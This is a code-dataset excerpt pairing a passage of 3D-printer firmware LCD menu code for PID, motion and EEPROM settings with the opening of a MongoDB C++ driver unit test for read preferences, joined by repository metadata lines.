CHAMBERS > 1 DEFINE_PIDCHAMBER_FUNCS(1); #if CHAMBERS > 2 DEFINE_PIDCHAMBER_FUNCS(2); #if CHAMBERS > 3 DEFINE_PIDCHAMBER_FUNCS(3); #endif // CHAMBERS > 3 #endif // CHAMBERS > 2 #endif // CHAMBERS > 1 #endif // CHAMBERS > 0 // // Advanced Settings > Temperature // void menu_advanced_temperature() { START_MENU(); MENU_BACK(MSG_ADVANCED_SETTINGS); // // Autotemp, Min, Max, Fact // #if ENABLED(AUTOTEMP) && HAS_TEMP_HE0 MENU_ITEM_EDIT(bool, MSG_AUTOTEMP, &planner.autotemp_enabled); MENU_ITEM_EDIT(float3, MSG_MIN, &planner.autotemp_min, 0, hotends[0].data.maxtemp - 10); MENU_ITEM_EDIT(float3, MSG_MAX, &planner.autotemp_max, 0, hotends[0].data.maxtemp - 10); MENU_ITEM_EDIT(float52, MSG_FACTOR, &planner.autotemp_factor, 0, 1); #endif // // PID-P H0, PID-I H0, PID-D H0, PID-C H0, PID Autotune H0 // PID-P H1, PID-I H1, PID-D H1, PID-C H1, PID Autotune H1 // PID-P H2, PID-I H2, PID-D H2, PID-C H2, PID Autotune H2 // PID-P H3, PID-I H3, PID-D H3, PID-C H3, PID Autotune H3 // PID-P H4, PID-I H4, PID-D H4, PID-C H4, PID Autotune H4 // PID-P H5, PID-I H5, PID-D H5, PID-C H5, PID Autotune H5 // #define _PID_BASE_MENU_ITEMS(HLABEL, hindex) \ MENU_ITEM_EDIT(float52, MSG_PID_P HLABEL, &hotends[hindex].pid.Kp, 1, 9990); \ MENU_ITEM_EDIT_CALLBACK(float52, MSG_PID_I HLABEL, &hotends[hindex].pid.Ki, 0.01f, 9990, updatePID_H ## hindex); \ MENU_ITEM_EDIT(float52, MSG_PID_D HLABEL, &hotends[hindex].pid.Kd, 1, 9990) #define _PID_BED_BASE_MENU_ITEMS(HLABEL, hindex) \ MENU_ITEM_EDIT(float52, "Bed " MSG_PID_P HLABEL, &beds[hindex].pid.Kp, 1, 9990); \ MENU_ITEM_EDIT_CALLBACK(float52, "Bed " MSG_PID_I HLABEL, &beds[hindex].pid.Ki, 0.01f, 9990, updatePID_BED ## hindex); \ MENU_ITEM_EDIT(float52, "Bed " MSG_PID_D HLABEL, &beds[hindex].pid.Kd, 1, 9990) #define _PID_CHAMBER_BASE_MENU_ITEMS(HLABEL, hindex) \ MENU_ITEM_EDIT(float52, "Chamber " MSG_PID_P HLABEL, &chambers[hindex].pid.Kp, 1, 9990); \ MENU_ITEM_EDIT_CALLBACK(float52, "Chamber " MSG_PID_I HLABEL, &chambers[hindex].pid.Ki, 0.01f, 9990, updatePID_CHAMBER ## hindex); \ MENU_ITEM_EDIT(float52, "Chamber " MSG_PID_D HLABEL, &chambers[hindex].pid.Kd, 1, 9990) #if ENABLED(PID_ADD_EXTRUSION_RATE) #define _PID_MENU_ITEMS(HLABEL, hindex) \ _PID_BASE_MENU_ITEMS(HLABEL, hindex); \ MENU_ITEM_EDIT(float3, MSG_PID_C HLABEL, &hotends[hindex].pid.Kc, 1, 9990) #else #define _PID_MENU_ITEMS(HLABEL, hindex) _PID_BASE_MENU_ITEMS(HLABEL, hindex) #endif #if ENABLED(PID_AUTOTUNE_MENU) #define PID_MENU_ITEMS(HLABEL, hindex) \ _PID_MENU_ITEMS(HLABEL, hindex); \ MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(int3, MSG_PID_AUTOTUNE HLABEL, &autotune_temp[hindex], 150, hotends[hindex].data.maxtemp - 10, lcd_autotune_callback_H ## hindex) #if BEDS > 0 #define PID_BED_MENU_ITEMS(HLABEL, hindex) \ _PID_BED_BASE_MENU_ITEMS(HLABEL, hindex); \ MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(int3, "Bed " MSG_PID_AUTOTUNE HLABEL, &autotune_temp_bed[hindex], 30, beds[hindex].data.maxtemp - 10, lcd_autotune_callback_BED ## hindex) #endif #if CHAMBERS > 0 #define PID_CHAMBER_MENU_ITEMS(HLABEL, hindex) \ _PID_CHAMBER_BASE_MENU_ITEMS(HLABEL, hindex); \ MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(int3, "Chamber " MSG_PID_AUTOTUNE HLABEL, &autotune_temp_chamber[hindex], 30, chambers[hindex].data.maxtemp - 10, lcd_autotune_callback_CHAMBER ## hindex) #endif #else #define PID_MENU_ITEMS(HLABEL, hindex) _PID_MENU_ITEMS(HLABEL, hindex) #if BEDS > 0 #define PID_BED_MENU_ITEMS() _PID_BED_BASE_MENU_ITEMS(HLABEL, hindex) #endif #if CHAMBERS > 0 #define PID_CHAMBER_MENU_ITEMS() _PID_CHAMBER_BASE_MENU_ITEMS(HLABEL, hindex) #endif #endif #if HOTENDS > 0 if (hotends[0].isUsePid()) { PID_MENU_ITEMS(MSG_H0, 0); } #if HOTENDS > 1 if (hotends[1].isUsePid()) { PID_MENU_ITEMS(MSG_H1, 1); } #if HOTENDS > 2 if (hotends[2].isUsePid()) { PID_MENU_ITEMS(MSG_H2, 2); } #if HOTENDS > 3 if (hotends[3].isUsePid()) { PID_MENU_ITEMS(MSG_H3, 3); } #if HOTENDS > 4 if (hotends[4].isUsePid()) { PID_MENU_ITEMS(MSG_H4, 4); } #if HOTENDS > 5 if (hotends[5].isUsePid()) { PID_MENU_ITEMS(MSG_H5, 5); } #endif // HOTENDS > 5 #endif // HOTENDS > 4 #endif // HOTENDS > 3 #endif // HOTENDS > 2 #endif // HOTENDS > 1 #endif // HOTENDS > 0 #if BEDS > 0 if (beds[0].isUsePid()) { PID_BED_MENU_ITEMS("", 0); } #if BEDS > 1 if (beds[1].isUsePid()) { PID_BED_MENU_ITEMS(MSG_H1, 1); } #if BEDS > 2 if (beds[2].isUsePid()) { PID_BED_MENU_ITEMS(MSG_H2, 2); } #if BEDS > 3 if (beds[3].isUsePid()) { PID_BED_MENU_ITEMS(MSG_H3, 3); } #endif // BEDS > 3 #endif // BEDS > 2 #endif // BEDS > 1 #endif // BEDS > 0 #if CHAMBERS > 0 if (chambers[0].isUsePid()) { PID_CHAMBER_MENU_ITEMS("", 0); } #if CHAMBERS > 1 if (chambers[1].isUsePid()) { PID_CHAMBER_MENU_ITEMS(MSG_H1, 1); } #if CHAMBERS > 2 if (chambers[2].isUsePid()) { PID_CHAMBER_MENU_ITEMS(MSG_H2, 2); } #if CHAMBERS > 3 if (chambers[3].isUsePid()) { PID_CHAMBER_MENU_ITEMS(MSG_H3, 3); } #endif // CHAMBERS > 3 #endif // CHAMBERS > 2 #endif // CHAMBERS > 1 #endif // CHAMBERS > 0 END_MENU(); } #if DISABLED(SLIM_LCD_MENUS) void _reset_acceleration_rates() { #if MECH(DELTA) mechanics.data.max_acceleration_mm_per_s2[Y_AXIS] = mechanics.data.max_acceleration_mm_per_s2[Z_AXIS] = mechanics.data.max_acceleration_mm_per_s2[X_AXIS]; #endif planner.reset_acceleration_rates(); } #if EXTRUDERS > 1 void _reset_e_acceleration_rate(const uint8_t e) { if (e == tools.active_extruder) _reset_acceleration_rates(); } void _reset_e0_acceleration_rate() { _reset_e_acceleration_rate(0); } void _reset_e1_acceleration_rate() { _reset_e_acceleration_rate(1); } #if EXTRUDERS > 2 void _reset_e2_acceleration_rate() { _reset_e_acceleration_rate(2); } #if EXTRUDERS > 3 void _reset_e3_acceleration_rate() { _reset_e_acceleration_rate(3); } #if EXTRUDERS > 4 void _reset_e4_acceleration_rate() { _reset_e_acceleration_rate(4); } #if EXTRUDERS > 5 void _reset_e5_acceleration_rate() { _reset_e_acceleration_rate(5); } #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #endif // EXTRUDERS > 1 void _mechanics_refresh_positioning() { #if MECH(DELTA) mechanics.data.axis_steps_per_mm[Y_AXIS] = mechanics.data.axis_steps_per_mm[Z_AXIS] = mechanics.data.axis_steps_per_mm[X_AXIS]; #endif planner.refresh_positioning(); } #if EXTRUDERS > 1 void _mechanics_refresh_e_positioning(const uint8_t e) { if (e == tools.active_extruder) _mechanics_refresh_positioning(); else mechanics.steps_to_mm[E_AXIS + e] = RECIPROCAL(mechanics.data.axis_steps_per_mm[E_AXIS + e]); } void _mechanics_refresh_e0_positioning() { _mechanics_refresh_e_positioning(0); } void _mechanics_refresh_e1_positioning() { _mechanics_refresh_e_positioning(1); } #if EXTRUDERS > 2 void _mechanics_refresh_e2_positioning() { _mechanics_refresh_e_positioning(2); } #if EXTRUDERS > 3 void _mechanics_refresh_e3_positioning() { _mechanics_refresh_e_positioning(3); } #if EXTRUDERS > 4 void _mechanics_refresh_e4_positioning() { _mechanics_refresh_e_positioning(4); } #if EXTRUDERS > 5 void _mechanics_refresh_e5_positioning() { _mechanics_refresh_e_positioning(5); } #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #endif // EXTRUDERS > 1 #if MECH(DELTA) void _mechanics_set_feedrate() { mechanics.data.max_feedrate_mm_s[Y_AXIS] = mechanics.data.max_feedrate_mm_s[Z_AXIS] = mechanics.data.max_feedrate_mm_s[X_AXIS]; } #endif // M203 / M205 Velocity options void menu_advanced_velocity() { START_MENU(); MENU_BACK(MSG_ADVANCED_SETTINGS); // M203 Max Feedrate #if MECH(DELTA) MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float3, MSG_VMAX, &mechanics.data.max_feedrate_mm_s[X_AXIS], 1, 999, _mechanics_set_feedrate); #else MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_X, &mechanics.data.max_feedrate_mm_s[X_AXIS], 1, 999); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_Y, &mechanics.data.max_feedrate_mm_s[Y_AXIS], 1, 999); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_Z, &mechanics.data.max_feedrate_mm_s[Z_AXIS], 1, 999); #endif #if EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E, &mechanics.data.max_feedrate_mm_s[E_AXIS + tools.active_extruder], 1, 999); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E1, &mechanics.data.max_feedrate_mm_s[E_AXIS], 1, 999); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E2, &mechanics.data.max_feedrate_mm_s[E_AXIS + 1], 1, 999); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E3, &mechanics.data.max_feedrate_mm_s[E_AXIS + 2], 1, 999); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E4, &mechanics.data.max_feedrate_mm_s[E_AXIS + 3], 1, 999); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E5, &mechanics.data.max_feedrate_mm_s[E_AXIS + 4], 1, 999); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E6, &mechanics.data.max_feedrate_mm_s[E_AXIS + 5], 1, 999); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #else MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMAX MSG_E, &mechanics.data.max_feedrate_mm_s[E_AXIS], 1, 999); #endif // M205 S Min Feedrate MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VMIN, &mechanics.data.min_feedrate_mm_s, 0, 999); // M205 T Min Travel Feedrate MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VTRAV_MIN, &mechanics.data.min_travel_feedrate_mm_s, 0, 999); END_MENU(); } // M201 / M204 Accelerations void menu_advanced_acceleration() { START_MENU(); MENU_BACK(MSG_ADVANCED_SETTINGS); // M204 P Acceleration MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_ACC, &mechanics.data.acceleration, 10, 99000); // M204 R Retract Acceleration #if EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E, &mechanics.data.retract_acceleration[tools.active_extruder], 100, 99000); MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E1, &mechanics.data.retract_acceleration[0], 100, 99000); MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E2, &mechanics.data.retract_acceleration[1], 100, 99000); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E3, &mechanics.data.retract_acceleration[2], 100, 99000); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E4, &mechanics.data.retract_acceleration[3], 100, 99000); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E5, &mechanics.data.retract_acceleration[4], 100, 99000); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E6, &mechanics.data.retract_acceleration[5], 100, 99000); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #else MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_RETRACT MSG_E, &mechanics.data.retract_acceleration[0], 100, 99000); #endif // M204 T Travel Acceleration MENU_MULTIPLIER_ITEM_EDIT(float5, MSG_A_TRAVEL, &mechanics.data.travel_acceleration, 100, 99000); // M201 settings #if MECH(DELTA) MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX, &mechanics.data.max_acceleration_mm_per_s2[X_AXIS], 100, 99000, _reset_acceleration_rates); #else MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_X, &mechanics.data.max_acceleration_mm_per_s2[X_AXIS], 100, 99000, _reset_acceleration_rates); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_Y, &mechanics.data.max_acceleration_mm_per_s2[Y_AXIS], 100, 99000, _reset_acceleration_rates); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_Z, &mechanics.data.max_acceleration_mm_per_s2[Z_AXIS], 10, 99000, _reset_acceleration_rates); #endif #if EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS + tools.active_extruder], 100, 99000, _reset_acceleration_rates); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E1, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS], 100, 99000, _reset_e0_acceleration_rate); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E2, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS + 1], 100, 99000, _reset_e1_acceleration_rate); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E3, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS + 2], 100, 99000, _reset_e2_acceleration_rate); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E4, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS + 3], 100, 99000, _reset_e3_acceleration_rate); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E5, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS + 4], 100, 99000, _reset_e4_acceleration_rate); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E6, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS + 5], 100, 99000, _reset_e5_acceleration_rate); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #else MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(long5, MSG_AMAX MSG_E, &mechanics.data.max_acceleration_mm_per_s2[E_AXIS], 100, 99000, _reset_acceleration_rates); #endif END_MENU(); } #if HAS_CLASSIC_JERK void _mechanics_set_jerk() { mechanics.data.max_jerk[Y_AXIS] = mechanics.data.max_jerk[Z_AXIS] = mechanics.data.max_jerk[X_AXIS]; } #endif // M205 Jerk void menu_advanced_jerk() { START_MENU(); MENU_BACK(MSG_MOTION); #if ENABLED(JUNCTION_DEVIATION) #if ENABLED(LIN_ADVANCE) MENU_ITEM_EDIT_CALLBACK(float43, MSG_JUNCTION_MM, &mechanics.data.junction_deviation_mm, 0.01f, 0.3f, mechanics.recalculate_max_e_jerk); #else MENU_ITEM_EDIT(float43, MSG_JUNCTION_MM, &mechanics.data.junction_deviation_mm, 0.01f, 0.3f); #endif #endif #if HAS_CLASSIC_JERK #if MECH(DELTA) MENU_ITEM_EDIT_CALLBACK(float3, MSG_JERK, &mechanics.data.max_jerk[X_AXIS], 1, 990, _mechanics_set_jerk); #else MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VA_JERK, &mechanics.data.max_jerk[X_AXIS], 1, 990); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VB_JERK, &mechanics.data.max_jerk[Y_AXIS], 1, 990); MENU_MULTIPLIER_ITEM_EDIT(float52sign, MSG_VC_JERK, &mechanics.data.max_jerk[Z_AXIS], 0.1, 990); #endif #if DISABLED(JUNCTION_DEVIATION) || DISABLED(LIN_ADVANCE) #if EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E, &mechanics.data.max_jerk[E_AXIS + tools.active_extruder], 1, 990); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E1, &mechanics.data.max_jerk[E_AXIS], 1, 990); MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E2, &mechanics.data.max_jerk[E_AXIS + 1], 1, 990); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E3, &mechanics.data.max_jerk[E_AXIS + 2], 1, 990); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E4, &mechanics.data.max_jerk[E_AXIS + 3], 1, 990); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E5, &mechanics.data.max_jerk[E_AXIS + 4], 1, 990); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK MSG_E6, &mechanics.data.max_jerk[E_AXIS + 5], 1, 990); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #else MENU_MULTIPLIER_ITEM_EDIT(float3, MSG_VE_JERK, &mechanics.data.max_jerk[E_AXIS], 1, 990); #endif #endif // DISABLED(JUNCTION_DEVIATION) || DISABLED(LIN_ADVANCE) #endif // AS_CLASSIC_JERK END_MENU(); } // M92 Steps-per-mm void menu_advanced_steps_per_mm() { START_MENU(); MENU_BACK(MSG_ADVANCED_SETTINGS); #if MECH(DELTA) MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_STEPS_PER_MM, &mechanics.data.axis_steps_per_mm[X_AXIS], 5, 9999, _mechanics_refresh_positioning); #else MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_ASTEPS, &mechanics.data.axis_steps_per_mm[X_AXIS], 5, 9999, _mechanics_refresh_positioning); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_BSTEPS, &mechanics.data.axis_steps_per_mm[Y_AXIS], 5, 9999, _mechanics_refresh_positioning); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_CSTEPS, &mechanics.data.axis_steps_per_mm[Z_AXIS], 5, 9999, _mechanics_refresh_positioning); #endif #if EXTRUDERS > 1 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_ESTEPS, &mechanics.data.axis_steps_per_mm[E_AXIS + tools.active_extruder], 5, 9999, _mechanics_refresh_positioning); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_E1STEPS, &mechanics.data.axis_steps_per_mm[E_AXIS], 5, 9999, _mechanics_refresh_e0_positioning); MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_E2STEPS, &mechanics.data.axis_steps_per_mm[E_AXIS + 1], 5, 9999, _mechanics_refresh_e1_positioning); #if EXTRUDERS > 2 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_E3STEPS, &mechanics.data.axis_steps_per_mm[E_AXIS + 2], 5, 9999, _mechanics_refresh_e2_positioning); #if EXTRUDERS > 3 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_E4STEPS, &mechanics.data.axis_steps_per_mm[E_AXIS + 3], 5, 9999, _mechanics_refresh_e3_positioning); #if EXTRUDERS > 4 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_E5STEPS, &mechanics.data.axis_steps_per_mm[E_AXIS + 4], 5, 9999, _mechanics_refresh_e4_positioning); #if EXTRUDERS > 5 MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_E6STEPS, &mechanics.data.axis_steps_per_mm[E_AXIS + 5], 5, 9999, _mechanics_refresh_e4_positioning); #endif // EXTRUDERS > 5 #endif // EXTRUDERS > 4 #endif // EXTRUDERS > 3 #endif // EXTRUDERS > 2 #else MENU_MULTIPLIER_ITEM_EDIT_CALLBACK(float62, MSG_ESTEPS, &mechanics.data.axis_steps_per_mm[E_AXIS], 5, 9999, _mechanics_refresh_positioning); #endif END_MENU(); } #if ENABLED(EEPROM_SETTINGS) static void lcd_init_eeprom() { sound.feedback(eeprom.Init()); lcdui.goto_previous_screen(); } static void lcd_init_eeprom_confirm() { START_MENU(); MENU_BACK(MSG_ADVANCED_SETTINGS); MENU_ITEM(function, MSG_INIT_EEPROM, lcd_init_eeprom); END_MENU(); } #endif #endif // !SLIM_LCD_MENUS void menu_advanced_settings() { START_MENU(); MENU_BACK(MSG_CONFIGURATION); #if ENABLED(BABYSTEP_ZPROBE_OFFSET) MENU_ITEM(submenu, MSG_ZPROBE_ZOFFSET, lcd_babystep_zoffset); #elif HAS_BED_PROBE MENU_ITEM_EDIT(float52, MSG_ZPROBE_ZOFFSET, &probe.data.offset[Z_AXIS], Z_PROBE_OFFSET_RANGE_MIN, Z_PROBE_OFFSET_RANGE_MAX); #endif #if DISABLED(SLIM_LCD_MENUS) #if ENABLED(WORKSPACE_OFFSETS) // // Set Home Offsets // MENU_ITEM(function, MSG_SET_HOME_OFFSETS, _lcd_set_home_offsets); #endif // M203 / M205 - Feedrate items MENU_ITEM(submenu, MSG_VELOCITY, menu_advanced_velocity); // M201 - Acceleration items MENU_ITEM(submenu, MSG_ACCELERATION, menu_advanced_acceleration); // M205 - Junction Deviation or Max Jerk #if ENABLED(JUNCTION_DEVIATION) MENU_ITEM(submenu, MSG_JUNCTION_DEVIATION, menu_advanced_jerk); #else MENU_ITEM(submenu, MSG_JERK, menu_advanced_jerk); #endif if (!printer.isPrinting()) { // M92 - Steps Per mm MENU_ITEM(submenu, MSG_STEPS_PER_MM, menu_advanced_steps_per_mm); } #endif // !SLIM_LCD_MENUS #if HAS_TRINAMIC MENU_ITEM(submenu, MSG_TMC_DRIVERS, menu_tmc); #endif if (printer.mode == PRINTER_MODE_FFF) { MENU_ITEM(submenu, MSG_TEMPERATURE, menu_advanced_temperature); #if ENABLED(VOLUMETRIC_EXTRUSION) || ENABLED(ADVANCED_PAUSE_FEATURE) MENU_ITEM(submenu, MSG_FILAMENT, menu_advanced_filament); #elif ENABLED(LIN_ADVANCE) MENU_ITEM_EDIT(float52, MSG_ADVANCE_K, &planner.extruder_advance_K, 0, 999); #endif } // M540 S - Abort on endstop hit when SD printing #if ENABLED(ABORT_ON_ENDSTOP_HIT_FEATURE_ENABLED) MENU_ITEM_EDIT(bool, MSG_ENDSTOP_ABORT, &planner.abort_on_endstop_hit); #endif // // BLTouch Self-Test and Reset // #if ENABLED(BLTOUCH) MENU_ITEM(gcode, MSG_BLTOUCH_SELFTEST, PSTR("M280 P" STRINGIFY(Z_PROBE_SERVO_NR) " S" STRINGIFY(BLTOUCH_SELFTEST))); if (!endstops.isProbeEnabled() && bltouch.test()) MENU_ITEM(gcode, MSG_BLTOUCH_RESET, PSTR("M280 P" STRINGIFY(Z_PROBE_SERVO_NR) " S" STRINGIFY(BLTOUCH_RESET))); #endif #if ENABLED(EEPROM_SETTINGS) && DISABLED(SLIM_LCD_MENUS) MENU_ITEM(submenu, MSG_INIT_EEPROM, lcd_init_eeprom_confirm); #endif END_MENU(); } #endif // HAS_LCD_MENU
42.651941
197
0.695866
DapDeveloper
5915aba6512fc1bcd4d42873cf2255b08c4f3732
6,444
cpp
C++
src/mongocxx/test/read_preference.cpp
oledahle/mongo-cxx-driver
60509b2d430b94d8e52d05502fb60e7b91c63cba
[ "Apache-2.0" ]
934
2015-01-02T14:49:43.000Z
2022-03-16T01:21:42.000Z
src/mongocxx/test/read_preference.cpp
oledahle/mongo-cxx-driver
60509b2d430b94d8e52d05502fb60e7b91c63cba
[ "Apache-2.0" ]
533
2015-01-07T18:45:30.000Z
2022-03-23T00:44:26.000Z
src/mongocxx/test/read_preference.cpp
oledahle/mongo-cxx-driver
60509b2d430b94d8e52d05502fb60e7b91c63cba
[ "Apache-2.0" ]
570
2015-01-04T05:47:04.000Z
2022-03-28T11:12:38.000Z
// Copyright 2014 MongoDB Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "helpers.hpp" #include <bsoncxx/builder/basic/document.hpp> #include <bsoncxx/document/view.hpp> #include <bsoncxx/test_util/catch.hh> #include <mongocxx/exception/logic_error.hpp> #include <mongocxx/instance.hpp> #include <mongocxx/private/conversions.hh> #include <mongocxx/read_preference.hpp> namespace { using namespace bsoncxx; using namespace mongocxx; using builder::basic::kvp; using builder::basic::make_document; TEST_CASE("Read preference", "[read_preference]") { instance::current(); read_preference rp; SECTION("Defaults to mode primary, empty tags, and no max staleness") { REQUIRE(rp.mode() == read_preference::read_mode::k_primary); REQUIRE_FALSE(rp.tags()); REQUIRE_FALSE(rp.max_staleness()); } SECTION("Can have mode changed") { rp.mode(read_preference::read_mode::k_nearest); REQUIRE(libmongoc::conversions::read_mode_t_from_read_mode(rp.mode()) == MONGOC_READ_NEAREST); } SECTION("Can have tags changed") { auto tags = make_document(kvp("tag_key", "tag_value")); rp.tags(tags.view()); REQUIRE(rp.tags().value() == tags); } SECTION("Can have max_staleness changed") { std::chrono::seconds max_staleness{120}; rp.max_staleness(max_staleness); REQUIRE(rp.max_staleness().value() == max_staleness); } SECTION("Max staleness of -1 returns nullopt") { rp.max_staleness(std::chrono::seconds{-1}); REQUIRE(!rp.max_staleness()); } SECTION("Rejects invalid max_staleness") { REQUIRE_THROWS_AS(rp.max_staleness(std::chrono::seconds{0}), logic_error); REQUIRE_THROWS_AS(rp.max_staleness(std::chrono::seconds{-2}), logic_error); } } TEST_CASE("Read preference can be constructed with another read_mode", "[read_preference]") { instance::current(); read_preference rp(read_preference::read_mode::k_secondary, read_preference::deprecated_tag{}); REQUIRE(rp.mode() == read_preference::read_mode::k_secondary); REQUIRE_FALSE(rp.tags()); } TEST_CASE("Read preference can be constructed with a read_mode and tags", "[read_preference]") { instance::current(); auto tags = make_document(kvp("tag_key", "tag_value")); read_preference rp( read_preference::read_mode::k_secondary, tags.view(), read_preference::deprecated_tag{}); REQUIRE(rp.mode() == read_preference::read_mode::k_secondary); REQUIRE(rp.tags().value() == tags); } TEST_CASE("Read preference equality operator works", "[read_preference]") { instance::current(); read_preference rp_a; read_preference rp_b; SECTION("default-constructed read_preference objects are equal") { REQUIRE(rp_a == rp_b); } SECTION("mode is compared") { rp_a.mode(read_preference::read_mode::k_nearest); REQUIRE_FALSE(rp_a == rp_b); rp_b.mode(read_preference::read_mode::k_nearest); REQUIRE(rp_a == rp_b); } SECTION("tags are compared") { auto tags = make_document(kvp("tag_key", "tag_value")); rp_a.tags(tags.view()); REQUIRE_FALSE(rp_a == rp_b); rp_b.tags(tags.view()); REQUIRE(rp_a == rp_b); } SECTION("max_staleness is compared") { std::chrono::seconds max_staleness{120}; rp_a.max_staleness(max_staleness); REQUIRE_FALSE(rp_a == rp_b); rp_b.max_staleness(max_staleness); REQUIRE(rp_a == rp_b); } } TEST_CASE("Read preference inequality operator works", "[read_preference]") { instance::current(); read_preference rp_a; read_preference rp_b; REQUIRE_FALSE(rp_a != rp_b); rp_a.mode(read_preference::read_mode::k_nearest); REQUIRE(rp_a != rp_b); } TEST_CASE("Read preference methods call underlying mongoc methods", "[read_preference]") { instance::current(); MOCK_READ_PREFERENCE read_preference rp; bool called = false; SECTION("mode() calls mongoc_read_prefs_set_mode()") { read_preference::read_mode expected_mode = read_preference::read_mode::k_nearest; read_prefs_set_mode->interpose([&](mongoc_read_prefs_t*, mongoc_read_mode_t mode) { called = true; REQUIRE(mode == libmongoc::conversions::read_mode_t_from_read_mode(expected_mode)); }); rp.mode(expected_mode); REQUIRE(called); } SECTION("tags() calls 